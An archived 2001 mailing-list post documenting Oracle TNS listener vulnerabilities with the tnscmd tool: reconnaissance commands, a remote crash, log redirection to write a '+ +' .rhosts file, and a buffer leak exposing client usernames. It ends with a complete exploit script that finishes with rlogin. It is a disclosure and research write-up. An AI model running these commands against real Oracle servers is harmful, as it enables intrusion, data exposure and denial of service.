Re: Oracle8 denial of service

From: James W. Abendschan (jwaat_private)
Date: Thu Apr 26 2001 - 13:14:41 PDT

  • Next message: securityat_private: "[ESA-20010409-02] xntp i386 packages available"

    On Wed, 25 Apr 2001, Guy Poizat wrote:
    
    > > >It works against Oracle 8.0.5 running on linux as
    > > >well...
    > > >
    > > >Tib
    > >
    > > Doesn't seem to work against Oracle 8.1.6 on linux, as far as i tried.
    
    I finally got around to documenting the bugs I was able to find back
    in October (DoS; write files wherever tnslsnr has write privs [ie, .rhosts];
    packet leaking).  I'd be interested to know what other versions of Oracle are
    affected by these problems -- I was testing Oracle 8.1.6 for Solaris (sun4u)
    at the time.
    
    The most current version of the document is available at:
    
       http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html
    
    I've included it below at the request of Aleph1.  I'm interested
    in feedback; don't be shy in telling me I've got this all wrong.
    
    James
    
    
                              [1]tnscmd documentation
    
                                   25 April 2001
                                 [2]jwaat_private
              $Id: tnscmd-doc.html,v 1.2 2001/04/26 06:46:47 jwa Exp $
    
      I. Intro
    
       tnscmd can be used to speak, on a very simple level, with Oracle's TNS
           listener.
           The TNS listener (aka tnslsnr) is the network interface between a
           database client and the database server. tnslsnr listens on port
           1521/tcp, but the DBA can change this (I've seen listeners on port
           1541/tcp as well.) fwiw, [3]nmap-services lists these as ncube-lm
           and rds2, respectively.
           The tnslnsr keeps a spartan log of activity -- spartan in that it
           doesn't log a whole lot of useful information. For instance, it
           does not log the IP address of TNS sessions.
           If you initiate a TCP session to the tnslsnr port, you won't make
           much headway; it won't provide a banner and will probably
           disconnect if you type something. Don't worry; this is what tnscmd
           is for.
    
      II. tnscmd
    
       tnscmd is not even close to a full-blown Oracle client; it simply
           talks to the tnslsnr process. tnslsnr will respond to certain
           commands such as ping (an application-level no-op), version (dumps
           version information about Oracle), status (dumps status about the
           listener and database instances), and services (dumps info about
           the running services.) Commands are apparently case-insensitive.
           Let's say we've found the host oraclebox.example.com listening on
           port 1521. It might be running Oracle; how can we tell? the 'ping'
           command is a good place to start; tnscmd will issue a 'ping'
           command if given no command.
           If we want to ping this host to see if it is actually running
           tnslsnr, we would type:
      unix% tnscmd -h oraclebox.example.com -p 1521
      sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521
      writing 87 bytes
      reading
      .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER))
    
           Here we see three things:
    
         * the TNS command: (CONNECT_DATA=(COMMAND=ping))
         * the raw TNS packet sent to tnslsnr: .W.......6. [ etc ]
         * and the raw TNS reply packet from tnslsnr:
           .I......"..=(DESCRIPTION=( [etc]
    
       This reply is typical of 'ping' replies; the only thing I've noticed
       is VSNNUM=135290880 varies from host to host (yet it's the same on two
       different hosts running the same Oracle version). I don't know what
       this is.
    
      III. Information gathering
    
       OK, now we've established tnslsnr is running on this host. What else
           can we do? There are (at least) three commands that are useful for
           information gathering, version, status and services:
     unix% tnscmd version -h oraclebox.example.com -p 1521
     sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521
     writing 90 bytes
     reading
     .M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)).
     a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solaris:
     .Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.fo
     r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapter
     .for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.S
     olaris:.Version.8.1.6.0.0.-.Production,,.........@
    
           This is pretty straightforward. version reveals the version of
           Oracle (in this case, 8.1.6.0.0 for Solaris). Another command,
           status is a bit more verbose:
     unix% tnscmd status -h oraclebox.example.com -p 1521
     sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521
     writing 89 bytes
     reading
     .........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=135290880
     )(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8.
     1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/
     app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro
    
           [ snipped for brevity ]
           Wow, look at all that data. Kind of hard to read, but because it's
           all balanced within parens, we can break it up with the --indent
           option and make it purty:
           unix% tnscmd status -h oraclebox.example.com -p 1521 --indent
           We'll get something like:
      DESCRIPTION=
        TMP=
        VSNNUM=135290880
        ERR=0
        ALIAS=LISTENER
        SECURITY=OFF
        VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production
        START_DATE=01-SEP-2000.18:35:49
        SIDNUM=1
        LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log
        PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora
        TRACING=off
        UPTIME=2032269835
        SNMP=OFF
    
           Note SECURITY=OFF. I believe this indicates whether or not the DBA
           has assigned a password to the listener.
           Note START_DATE and UPTIME. Not clear if UPTIME is the tnslsnr
           uptime or the host uptime.
           Note the path to LOGFILE and PRMFILE. This can give you a good
           idea of the filesystem layout.
           Other strange oracle stuff:
      ENDPOINT=
        HANDLER=
          STA=ready
          HANDLER_MAXLOAD=0
          HANDLER_LOAD=0
          ESTABLISHED=0
          REFUSED=0
          HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0
          PRE=ttc
          SESSION=NS
          DESCRIPTION=
            ADDRESS=
              PROTOCOL=ipc
              KEY=EXTPROC
    
      ENDPOINT=
        HANDLER=
          STA=ready
          HANDLER_MAXLOAD=0
          HANDLER_LOAD=0
          ESTABLISHED=0
          REFUSED=0
          HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0
          PRE=ttc
          SESSION=NS
          DESCRIPTION=
            ADDRESS=
              PROTOCOL=tcp
              HOST=oraclebox.example.com
              PORT=1521
    
      ENDPOINT=
        HANDLER=
          STA=ready
          HANDLER_MAXLOAD=0
          HANDLER_LOAD=0
          ESTABLISHED=0
          REFUSED=0
          HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0
          PRE=giop
          SESSION=RAW
          DESCRIPTION=
            ADDRESS=
              PROTOCOL=tcp
              HOST=oraclebox.example.com
              PORT=2481
           .. unanswered question: what's running on port 2481?
    
            PROTOCOL_STACK=
              PRESENTATION=GIOP
              SESSION=RAW
    
      SERVICE=
        SERVICE_NAME=PLSExtProc
        INSTANCE=
          INSTANCE_NAME=PLSExtProc
          NUM=1
          INSTANCE_CLASS=ORACLE
          NUMREL=1
    
      SERVICE=
        SERVICE_NAME=pr01stage
        INSTANCE=
          INSTANCE_NAME=pr01stage
          NUM=1
          INSTANCE_CLASS=ORACLE
          NUMREL=1
    
      SERVICE=
        SERVICE_NAME=rcats
        INSTANCE=
          INSTANCE_NAME=rcats
          NUM=1
          INSTANCE_CLASS=ORACLE
          NUMREL=1
           [ ... ]
           The 'services' command outputs still more information:
     unix% tnscmd services -h oraclebox.example.com -p 1521 --indent
    
           [ ... ]
    
      SERVICE=
        SERVICE_NAME=PLSExtProc
        INSTANCE=
          INSTANCE_NAME=PLSExtProc
          NUM=1
          INSTANCE_CLASS=ORACLE
          HANDLER=
            HANDLER_DISPLAY=DEDICATED.SERVER
            STA=ready
            HANDLER_INFO=LOCAL.SERVER
            HANDLER_MAXLOAD=0
            HANDLER_LOAD=0
            ESTABLISHED=86
            REFUSED=0
            HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0
            HANDLER_NAME=DEDICATED
            ADDRESS=
              PROTOCOL=beq
              PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc
              ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc
    '
    
              ARGV0=extprocPLSExtProc
              ARGS='
                LOCAL=NO
              '
          NUMREL=1
    
           PROGRAM, ENVS, and ARGV0 are potentially interesting. If the
           tnslsnr was started out of an interactive shell, ENVS will contain
           the user's environment.
    
      IV. Break stuff
    
       tnslsnr is vulnerable to remote denial-of-service attacks and
           potential security issues. According to Oracle, only versions
           7.3.4, 8.0.6, and 8.1.6 are affected. I have verified
           vulnerabilities under 8.1.6 for Solaris.
           IV.1 - DoS:
    
       An unpassworded tnslsnr can also be shut down by sending it a 'stop'
           command. Obvious, eh?
           "Bad" TNS packets can crash the listener, regardless of whether or
           not the DBA has set a password. Sending
           tnscmd [badcommand] -h oraclebox.example.com
           will SEGV the listener. badcommand can be any one of:
    
       trc_file trc_level use_plugandplay trc_directory snmp_visible log_file
           log_status log_directory
    
       IV.2 - write files
           Recall the 'log_file' command and the LOGFILE variable returned by
           the 'status' command. This is the path to the tnslsnr log file. As
           you might imagine, this variable can be changed. If we send this
           TNS command (using the --rawcmd option to tnslsnr)
       unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNEC
       T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE
       =LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))"
    
           .. then tnslsnr will open with O_APPEND /tmp/floboz and start
           logging messages to it. This can be verified by the response
           packet:
      ........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(LO
    G
      FILENAME=/tmp/floboz))
    
           .. or by
       unix% tnscmd status -h oraclebox.example.com --indent | grep LOG
    
           Since tnscmd runs as the oracle user, an attacker can write files
           anywhere the oracle user can. If an attacker knows the pathname to
           a database (can be deduced from the pathnames revealed by tnscmd),
           she can clobber the database.
           She might, however, chose a more subtle route: either by using
           finger or determining the oracle home directory by guesswork
           (/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts
           or .forward file. While the tnslsnr doesn't log much, it *does*
           log bad commands; she can then send a command such as (note the
           embedded newlines in the quotes)
       unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=((
       + +
       "
    
           .. tnslnsr will log something along the lines of
       TNS-01153: Failed to process string:
       + +
    
       NL-00303: syntax error in NV string
    
           into our log file / .rhosts.
    
       IV.3: tns packet leakage
    
       To the best of my knowledge, this bug remains unpatched in Oracle
           8.1.7.
           By lying about the size of the packet we're sending to the
           tnslsnr, we can get the tnslsnr to reveal the contents of previous
           packets. We can do this with the --cmdsize option. While any
           command will work, we use " " (space) just so we preserve the
           original buffer contents as much as possible.
     unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40
     Sending   to oraclebox.example.com:1521
     Faking command length to 40 bytes
     connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))]
     .T.......6.,...............:................4.............(CONNECT_DATA=(COMMA
     ND=.))
     read
     ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
     =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE=3
     03)(EMFI=1))))
    
           .. that's odd, where did that vices))CONNECT come from? Hey, that
           looks familiar... it looks like the services command I just sent
           in the last example! But what's with the CONNECT ? CONNECT_DATA
           comes at the beginning of the packet; maybe there's another
           command here?
     unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90
    
           [ ... ]
     ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
     =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1
     )(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1))))
    
           Apparently tnslsnr doesn't clear the buffer before writing a
           packet into it, or maybe it doesn't properly zero-terminate a
           string. Whatever is going on inside can be used to our advantage
           to harvest more interesting information. Let's go whole-hog and
           try it a --cmdsize of 200:
     ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(E
     RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(
     SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM=C
     :\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))'))
     (ERROR=(CODE=303)(EMFI=1))))
    
           (I added the XXX's to balance the packet :) Huh, a pathname, a
           hostname, and a username. No passwords, unfortunately -- SQL*net
           login is handled in a child process, IIRC -- but a username is a
           good place to start. On a busy server, this can potentially reveal
           lots of usernames. If the listener is passworded and the DBA
           connects, will the password be leaked? hmm.
           By playing with the --cmdsize argument, the rest of the "old"
           packet(s) will be revealed. Once you've gone past a certain point,
           though, you'll just get a TNS error (ERR=1153). It's also not too
           hard to write a program to find the optimal values & run it
           against a server for a few days ..
    
      V. References:
    
         * [4]CVE entry
         * [5]Oracle security alerts
         * [6]ISS's advisory
         * [7]Oracle Control Utility Reference
         * [8]advisory sent to Oracle and CERT on 23 Oct 2000
         * [9]tnscmd home
    
      notes
    
       Commands intuited from 'strings `which tnslsnr`':
    
         * investigate spawn command; how to list what commands can be
           spawned?
         * ping - pings the listener
         * debug - dumps debugging info to the listener log
           (/u01/app/oracle/product/8.1.6/network/log/listener.log)
         * dispatch - ?
         * establish - "TNS-12504: TNS:listener was not given the SID in
           CONNECT_DATA"
         * reload - reloads config file
          06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0
          06-OCT-2000 23:37:03 * service_register * pr01dev * 0
         * services - dumps all sorts of chilly data
         * save_config - writes config to a backup file. (can this be
           specified remotely? hrm)
         * trace - needs a "trace level", unsure of the syntax here
         * version - pretty output of the installed TNS listener version(s)
         * stop - shuts the listener down (on purpose). if the DBA has set
           the database up properly, this should not work without a password.
    
       0-day spl01t:
    
    #!/bin/sh
    #
    # jwaat_private  6 Oct 2000
    #
    
    # point the logfile at $HOME/.rhosts
    
    ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO
    MMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/ho
    me/oracle/.rhosts)))" -h oraclesvr2
    
    # verify that it worked (this will dump the value of log_file)
    
    ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO
    MMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2
    
    # put arbitrary data into the logfile-- it will look something like this:
    #
    # 06-OCT-2000 18:14:46 * log_file * 0
    # 06-OCT-2000 18:14:46 * log_file * 0
    # 06-OCT-2000 18:14:47 * 1153
    # TNS-01153: Failed to process string:
    # + +
    #
    # NL-00303: syntax error in NV string
    #
    
    ./tnscmd --rawcmd "
    + +
    " -h oraclesvr2
    
    #
    # connect
    #
    
    rlogin -l oracle oraclesvr2
    
    References
    
       1. http://www.jammed.com/~jwa/hacks/security/tnscmd
       2. mailto:jwaat_private
       3. http://www.insecure.org/nmap
       4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818"
       5. http://otn.oracle.com/deploy/security/alerts.htm
       6. http://xforce.iss.net/alerts/advise66.php
       7. http://www.oradoc.com/ora8doc/DOC/network803/A51576_01/appa.htm
       8. http://www.jammed.com/~jwa/hacks/security/tnscmd/tns-advisory.txt
       9. http://www.jammed.com/~jwa/hacks/security/tnscmd/
    



    This archive was generated by hypermail 2b30 : Thu Apr 26 2001 - 22:32:33 PDT